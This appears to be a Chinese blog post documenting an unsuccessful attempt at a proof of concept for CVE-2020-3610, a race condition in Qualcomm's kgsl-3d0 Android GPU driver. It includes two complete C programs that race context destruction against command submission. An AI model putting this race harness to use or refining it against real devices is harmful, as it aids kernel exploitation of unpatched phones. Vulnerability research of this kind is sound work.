CVE-2020-3610

CVE-2020-3610

0x00 前言

这个漏洞是高通安全通告2020年5月的一个内核驱动kgsl-3d0的race condition漏洞, 我的poc并没有触发这个漏洞,但是根据Android的系统日志来看,我确实到达了漏洞函数处,我觉得根本原因应该是该漏洞的窗口期很小,然后释放的时候又是调用内核线程来异步释放的,所以很难真正的线程竞争成功,Android真机无法动态调试也是真难受,在此只是简单记录一下。

0x01 环境

小米8,sdm845,MIUI11.0.4稳定版,Android 9,内核版本4.9.112

0x02 主要的思路

细节很多就不展示了,核心的函数部分画了个思维导图:
在这里插入图片描述

0x03 未触发漏洞的poc

poc写了两个版本,第一版是我自己的思路,第二版是slipper师傅给我指点思路后,让我根据系统的时间片轮转算法来调整,主要原因是进行free操作时,会进行自旋锁,自旋锁会让等待的线程的优先级提升,从而有更大的几率触发漏洞。
ps:跑poc注意编译器,不同的Android kernel版本需要不同的编译器,我的系统这儿用的是aarch64-linux-android28-clang

自己的poc:

#include <linux/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>

#define KGSL_IOC_TYPE 0x09
#define IOCTL_KGSL_SUBMIT_COMMANDS \
		_IOWR(KGSL_IOC_TYPE, 0x3D, struct kgsl_submit_commands)
#define IOCTL_KGSL_DRAWCTXT_CREATE \
		_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
#define IOCTL_KGSL_DRAWCTXT_DESTROY \
		_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
#define KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP 0
#define KGSL_CONTEXT_USER_GENERATED_TS	0x00000080
#define KGSL_CMDBATCH_SYNC 0x400

#define e_num 32

//IOCTL_KGSL_SUBMIT_COMMANDS
struct kgsl_submit_commands {
	unsigned int context_id;		
	unsigned int flags;
	struct kgsl_ibdesc *cmdlist;
	unsigned int numcmds;
	struct kgsl_cmd_syncpoint *synclist;
	unsigned int numsyncs;
	unsigned int timestam;
	/* private: reserved for future use */
	unsigned int __pad[4];
};

//struct of cmdlist
struct kgsl_ibdesc {
	unsigned long gpuaddr;
	unsigned long __pad;
	size_t sizedwords;
	unsigned int ctrl;
};

//struct of synclist
struct kgsl_cmd_syncpoint {
	int type;
	void *priv;
	size_t size;
};
//size of kgsl_cmd_syncpoint need to be this
struct kgsl_cmd_syncpoint_timestamp {
	unsigned int context_id;
	unsigned int timestamp;
};

//create a drawctxt for context of driver, IOCTL_KGSL_DRAWCTXT_CREATE
struct kgsl_drawctxt_create {
	unsigned int flags;
	unsigned int drawctxt_id; /*output param */
};
//dsetroy a drawctxt for context of driver,IOCTL_KGSL_DRAWCTXT_DESTROY
struct kgsl_drawctxt_destroy {
	unsigned int drawctxt_id;
};

//param of create_one
struct usings{
	int fd;
	unsigned int context_id;
	unsigned int another_id;
	size_t size;
	int sleep_time;
};
//param of destroy_context_to_driver
struct for_destroy{
	int fd;
	unsigned int context_id;
	int thread_id; 
};


unsigned int create_context_to_driver(int fd){
	struct kgsl_drawctxt_create kdc;
	int flag=-100;
	memset(&kdc,0,sizeof(struct kgsl_drawctxt_create));
	kdc.flags=32505938; //0 000 11111 0000 0000 0000 0101 0010
	flag=ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE,&kdc);
	printf("<>context build+%d\n",flag);
	return kdc.drawctxt_id;
}

void* destroy_context_to_driver(void *arg){
	struct kgsl_drawctxt_destroy kdd;
	int flag=100;
	struct for_destroy *d_info=(struct for_destroy*)arg;	
	memset(&kdd,0,sizeof(struct kgsl_drawctxt_destroy));
	kdd.drawctxt_id=d_info->context_id;
	printf("<%d>context destroy start++++\n",d_info->thread_id);
	//usleep(1);
	flag=ioctl(d_info->fd,IOCTL_KGSL_DRAWCTXT_DESTROY,&kdd);
	printf("<%d>context destroy++++ %d\n",d_info->thread_id,flag);
	return (void *)NULL;
}


//create a drawobj to makesure i!=0
void *create_one(void *arg){
	struct kgsl_submit_commands ksc;
	struct kgsl_ibdesc ki;
	struct kgsl_cmd_syncpoint kcs[e_num];
	struct kgsl_cmd_syncpoint_timestamp kcst[e_num];
	struct kgsl_ibdesc *cmdlist=&ki;
	struct usings *my_use = (struct usings *)arg;
	int flag=-100;
	memset(&ksc,0,sizeof(struct kgsl_submit_commands));
	memset(cmdlist,0,sizeof(struct kgsl_ibdesc));
	memset(kcs,0,sizeof(struct kgsl_cmd_syncpoint)*e_num);
	memset(&kcst ,0,sizeof(struct kgsl_cmd_syncpoint_timestamp));
	//create 32 events,kgsl_cmd_syncpoint is struct of event
	usleep(5);
	for(int i=0;i<e_num-2;i++){
		kcst[i].timestamp=my_use->sleep_time;
		kcst[i].context_id=my_use->context_id;
		kcs[i].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
		kcs[i].size=my_use->size;
		kcs[i].priv=&kcst[i];
	}

	kcst[e_num-2].timestamp=0;
	printf("%d\n",kcst[e_num-2].timestamp);
	kcst[e_num-2].context_id=my_use->another_id;
	kcs[e_num-2].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
	kcs[e_num-2].size=my_use->size;
	kcs[e_num-2].priv=&kcst[e_num-2];

	kcst[e_num-1].timestamp=1000;
	printf("%d\n",kcst[e_num-1].timestamp);
	kcst[e_num-1].context_id=my_use->context_id;
	kcs[e_num-1].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
	kcs[e_num-1].size=my_use->size;
	kcs[e_num-1].priv=&kcst[e_num-1];
	


	//kgsl_submit_commands
	ksc.cmdlist=cmdlist;
	ksc.synclist=kcs;
	ksc.numcmds=0;
	ksc.flags=KGSL_CMDBATCH_SYNC;
	ksc.numsyncs=e_num;     //number of event
	ksc.context_id=my_use->context_id;
	ksc.timestam=1;

	//sleep(my_use->sleep_time);
	//printf("in thread\n");
	//printf("<%d>submit run start----\n",my_use->sleep_time);
	flag=ioctl(my_use->fd,IOCTL_KGSL_SUBMIT_COMMANDS,&ksc);
	//printf("<%d>submit run over----  %d\n",my_use->sleep_time,flag);
	return (void *)NULL;
}


int main(void){
	int fd;
	int t_r1=-1000;
	int t_r2=-1000;
	unsigned int context_id;
	unsigned int another_id;
	pthread_t p1;
	pthread_t p2;
	struct usings u1;
	struct usings u2;
	struct usings u3;
	struct for_destroy dd1;
	struct for_destroy dd2;
	void *(*kk)(void *);
	kk=&create_one;
	void *(*ds)(void *);
	ds=&destroy_context_to_driver;
	fd=open("/dev/kgsl-3d0",O_RDWR);
	if(fd==-1){
		perror("open");
		return -1;
	}
	long long i=0;
	while(1){
		printf("------------>%lld<-------------->start\n",i);
		t_r1=-1000;
		t_r2=-1000;
		context_id=create_context_to_driver(fd);
		another_id=create_context_to_driver(fd);
		printf("context_id=%d;\nanother_id=%d;\n",context_id,another_id);
		u1.context_id=context_id;
		u1.another_id=another_id;
		u1.fd=fd;
		u1.size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
		u1.sleep_time=0;

		u2.context_id=context_id;
		u2.another_id=another_id;
		u2.fd=fd;
		u2.size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
		u2.sleep_time=0;

		u3.context_id=context_id;
		u3.another_id=another_id;
		u3.fd=fd;
		u3.size=0;
		u3.sleep_time=3;

		dd1.context_id=another_id;
		dd1.fd=fd;
		dd1.thread_id=1;

		dd2.context_id=context_id;
		dd2.fd=fd;
		dd2.thread_id=2;

		//create_one(&u1);
		//pthread_create(&p2,NULL,ds,&dd);
		printf("@@race start!!\n");
		t_r2=pthread_create(&p2,NULL,ds,&dd1);
		if(t_r2!=0){
			printf("thread-%d false!!!\n",dd1.thread_id);
		}
		t_r1=pthread_create(&p1,NULL,kk,&u1);
		if(t_r1!=0){
			printf("thread-%d false!!!\n",u1.sleep_time);
		}
		//pthread_create(&p2,NULL,ds,&dd2);
		//create_one(&u1);
		//destroy_context_to_driver(&dd); 
		//create_one(&u2);
		printf("thread0 run over-- %d\n",pthread_join(p1,NULL));
		printf("thread1 run over-- %d\n",pthread_join(p2,NULL));
		//sleep(1);
		destroy_context_to_driver(&dd2);
		printf("------------>%lld<-------------->over\n\n",i);
		i++;
	}
	//create_one(&u1);
	//printf("first success----\n");
	//pthread_create(&p1,NULL,kk,&u2);
	//destroy_context_to_driver(&dd); 
	//sleep(1);
	printf("finish\n");
}

调整之后的poc:

#include <linux/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>

#define KGSL_IOC_TYPE 0x09
#define IOCTL_KGSL_SUBMIT_COMMANDS \
		_IOWR(KGSL_IOC_TYPE, 0x3D, struct kgsl_submit_commands)
#define IOCTL_KGSL_DRAWCTXT_CREATE \
		_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
#define IOCTL_KGSL_DRAWCTXT_DESTROY \
		_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
#define KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP 0
#define KGSL_CONTEXT_USER_GENERATED_TS	0x00000080
#define KGSL_CMDBATCH_SYNC 0x400

#define e_num 32

unsigned int context_id=1000;
unsigned int another_id=1000;
int fd;

//IOCTL_KGSL_SUBMIT_COMMANDS
struct kgsl_submit_commands {
	unsigned int context_id;		
	unsigned int flags;
	struct kgsl_ibdesc *cmdlist;
	unsigned int numcmds;
	struct kgsl_cmd_syncpoint *synclist;
	unsigned int numsyncs;
	unsigned int timestam;
	/* private: reserved for future use */
	unsigned int __pad[4];
};

//struct of cmdlist
struct kgsl_ibdesc {
	unsigned long gpuaddr;
	unsigned long __pad;
	size_t sizedwords;
	unsigned int ctrl;
};

//struct of synclist
struct kgsl_cmd_syncpoint {
	int type;
	void *priv;
	size_t size;
};
//size of kgsl_cmd_syncpoint need to be this
struct kgsl_cmd_syncpoint_timestamp {
	unsigned int context_id;
	unsigned int timestamp;
};

//create a drawctxt for context of driver, IOCTL_KGSL_DRAWCTXT_CREATE
struct kgsl_drawctxt_create {
	unsigned int flags;
	unsigned int drawctxt_id; /*output param */
};
//dsetroy a drawctxt for context of driver,IOCTL_KGSL_DRAWCTXT_DESTROY
struct kgsl_drawctxt_destroy {
	unsigned int drawctxt_id;
};

//create a context
unsigned int create_context_to_driver(int fd){
	struct kgsl_drawctxt_create kdc;
	int flag=-100;
	memset(&kdc,0,sizeof(struct kgsl_drawctxt_create));
	kdc.flags=32505938; //0 000 11111 0000 0000 0000 0101 0010
	flag=ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE,&kdc);
	printf("<>context build+%d\n",flag);
	return kdc.drawctxt_id;
}

//destroy a context
void* destroy_context_to_driver(void *arg){
	struct kgsl_drawctxt_destroy *kdd=(struct kgsl_drawctxt_destroy *)arg;
	int flag1=100;
	flag1=ioctl(fd,IOCTL_KGSL_DRAWCTXT_DESTROY,kdd);
	printf("context destroy++++ %d\n",flag1);
	return (void *)NULL;
}

//create a drawobj to makesure i!=0
void *create_one(void *arg){
	struct kgsl_submit_commands ksc;
	struct kgsl_ibdesc ki;
	struct kgsl_cmd_syncpoint kcs[e_num];
	struct kgsl_cmd_syncpoint_timestamp kcst[e_num];
	struct kgsl_ibdesc *cmdlist=&ki;
	//struct usings *my_use = (struct usings *)arg;
	memset(&ksc,0,sizeof(struct kgsl_submit_commands));
	memset(cmdlist,0,sizeof(struct kgsl_ibdesc));
	memset(kcs,0,sizeof(struct kgsl_cmd_syncpoint)*e_num);
	memset(&kcst ,0,sizeof(struct kgsl_cmd_syncpoint_timestamp));
	//create 32 events,kgsl_cmd_syncpoint is struct of event
	for(int i=0;i<e_num-2;i++){
		kcst[i].timestamp=0;
		kcst[i].context_id=another_id;
		kcs[i].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
		kcs[i].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
		kcs[i].priv=&kcst[i];
	}

	kcst[e_num-2].timestamp=0;
	printf("%d\n",kcst[e_num-2].timestamp);
	kcst[e_num-2].context_id=another_id;
	kcs[e_num-2].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
	kcs[e_num-2].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
	kcs[e_num-2].priv=&kcst[e_num-2];

	kcst[e_num-1].timestamp=666;
	printf("%d\n",kcst[e_num-1].timestamp);
	kcst[e_num-1].context_id=context_id;
	kcs[e_num-1].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
	kcs[e_num-1].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
	kcs[e_num-1].priv=&kcst[e_num-1];
	


	//kgsl_submit_commands
	ksc.cmdlist=cmdlist;
	ksc.synclist=kcs;
	ksc.numcmds=0;
	ksc.flags=KGSL_CMDBATCH_SYNC;
	ksc.numsyncs=e_num;     //number of event
	ksc.context_id=context_id;
	ksc.timestam=1;

	int flag=-100;
	while(1){
		flag=ioctl(fd,IOCTL_KGSL_SUBMIT_COMMANDS,&ksc);
		printf("submit run over----  %d\n",flag);
		flag=-100;
	}
	return (void *)NULL;
}


int main(void){

	int t_r1=-1000;
	int t_r2=-1000;

	pthread_t p1;
	pthread_t p2;

	void *(*kk)(void *);
	kk=&create_one;
	void *(*ds)(void *);
	ds=&destroy_context_to_driver;

	struct kgsl_submit_commands ksc;
	struct kgsl_drawctxt_destroy kdd;

	fd=open("/dev/kgsl-3d0",O_RDWR);
	if(fd==-1){
		perror("open");
		return -1;
	}

	//create context
	context_id=create_context_to_driver(fd);
	another_id=create_context_to_driver(fd);
	printf("context_id=%d;\nanother_id=%d;\n",context_id,another_id);
	

	//ksc=prepare_create_one_struct(NULL);
	kdd.drawctxt_id=another_id;
	printf("@@race start!!\n");
	t_r1=pthread_create(&p1,NULL,kk,&ksc);
	if(t_r1!=0){
		printf("thread false!!!\n");
	}
	while(1){
		t_r2=pthread_create(&p2,NULL,ds,&kdd);
		if(t_r2!=0){
			printf("thread false!!!\n");
		}
		printf("thread1 run over-- %d\n",pthread_join(p2,NULL));
		another_id=create_context_to_driver(fd);
		kdd.drawctxt_id=another_id;	
	}
	printf("thread0 run over-- %d\n",pthread_join(p1,NULL));
	kdd.drawctxt_id=context_id;
	destroy_context_to_driver(&kdd);
	printf("finish\n");
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值